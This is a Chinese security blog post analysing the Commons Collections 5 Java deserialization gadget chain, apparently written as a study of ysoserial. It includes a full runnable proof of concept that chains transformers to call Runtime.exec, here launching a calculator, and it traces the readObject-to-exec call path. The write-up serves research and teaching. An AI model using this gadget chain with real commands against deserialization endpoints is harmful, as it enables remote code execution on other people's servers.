Java安全之Commons Collections5分析
2022-06-04 23:50:01 # Java安全

前言

在CC5链中ysoserial给出的提示是需要JDK1.8并且SecurityManager需要是关闭的。

关于SecurityManager的介绍可以看下面的文章:

https://www.cnblogs.com/wly1-6/p/10291202.html

POC分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
package cc5;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections4.keyvalue.TiedMapEntry;

import javax.management.BadAttributeValueExpException;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;

public class CC5 {
public static void main(String[] args) throws ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
ChainedTransformer chain = new ChainedTransformer(new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, new Object[]{"calc"})});
HashMap innermap = new HashMap();
LazyMap map = (LazyMap)LazyMap.decorate(innermap,chain);
TiedMapEntry tiedmap = new TiedMapEntry(map,123);
BadAttributeValueExpException poc = new BadAttributeValueExpException(1);
Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
val.setAccessible(true);
val.set(poc,tiedmap);

try{
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc5"));
outputStream.writeObject(poc);
outputStream.close();

ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc5"));
inputStream.readObject();
}catch(Exception e){
e.printStackTrace();
}
}
}

前面和cc1链是差不多的,主要看后半段:

1
2
3
4
5
TiedMapEntry tiedmap = new TiedMapEntry(map,123);
BadAttributeValueExpException poc = new BadAttributeValueExpException(1);
Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
val.setAccessible(true);
val.set(poc,tiedmap);

上面代码中首先是实例化了一个TiedMapEntry对象,先来看下TiedMapEntry这个类

image-20220605000443399

该类的构造方法需要2个参数,在poc中我们传入了一个LazyMap实例化对象和一个Object对象,接着继续往下看,可以发现两个方法,分别是getKey()getValue(),其中getValue()方法会去调用构造方法赋值的map类的get()方法,那么如果我们把LazyMap对象赋值给map,然后调用get()方法的话,就可以完成cc1链中的LazyMap调用链了

image-20220605000737903

我们继续往下看,找下哪个地方会调用到getValue()方法,这里发现有多处会调用到getValue()方法,重点看toString()方法

image-20220605001329397

根据前面poc中下面这部分,这里先new了一个BadAttributeValueExpException的对象,然后通过反射将val的值设置为TiedMapEntry实例化对象。

1
2
3
4
BadAttributeValueExpException poc = new BadAttributeValueExpException(1);
Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
val.setAccessible(true);
val.set(poc,tiedmap);

后面的poc就是将poc对象进行反序列化,那么,我们直接看下BadAttributeValueExpException这个类的代码,它在反序列化的时候做了什么。

image-20220605001812297

反序列化时会调用BadAttributeValueExpException#readObject()方法,可以看到会调用get()方法将val的值赋值给valObj,而val的值就是前面通过反射赋值的TiedMapEntry实例化对象,在下面又会调用valObj.toString()方法,接着触发getValue()方法

image-20220605002409732

后续就是cc1链的调用过程了。

调用链

1
2
3
4
5
6
7
BadAttributeValueExpException.readObject->TiedMapEntry.toString
->LazyMap.get->ChainedTransformer.transform
->ConstantTransformer.transform->InvokerTransformer.transform
->Method.invoke->Class.getMethod
->InvokerTransformer.transform->Method.invoke
->Runtime.getRuntime-> InvokerTransformer.transform
->Method.invoke->Runtime.exec

参考

https://www.cnblogs.com/nice0e3/p/13890340.html

https://blog.csdn.net/hongduilanjun/article/details/123491483